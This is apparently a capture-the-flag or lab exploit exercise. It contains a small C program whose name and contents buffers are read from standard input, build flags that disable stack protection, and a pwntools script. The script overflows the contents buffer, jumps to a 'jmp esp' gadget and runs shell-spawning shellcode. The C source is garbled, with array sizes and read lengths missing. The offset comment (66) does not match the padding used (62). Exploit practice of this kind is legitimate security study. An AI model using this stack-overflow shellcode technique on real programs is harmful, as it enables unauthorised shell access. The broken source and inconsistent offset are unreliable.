#include <stdio.h>

#include <unistd.h>

int main()

{

    char name[];   

    welcome();

    printf("enter your name\n");

    read(STDIN_FILENO, name, );

    name[] = '\x00';

    get_contents();

}

void welcome()

{

    printf("welcome to play the game!\n");

}

void get_contents()

{

    char contents[];

    puts("enter the contents you want to save:");

    read(STDIN_FILENO, contents, );

}

 -fno-stack-protector -z execstack -m32

from pwn import *

context(os='linux', arch='x86')

#context.log_level='debug'

# 0x80485e3 : jmp esp

# offset: 66

jmp_esp = 0x80485e3

p = process('./a.out')

#gdb.attach(p)

p.sendlineafter('name\n', 'a')

p.sendlineafter('save:\n', 'a'*62 + p32(jmp_esp) + asm(shellcraft.sh()))

p.interactive()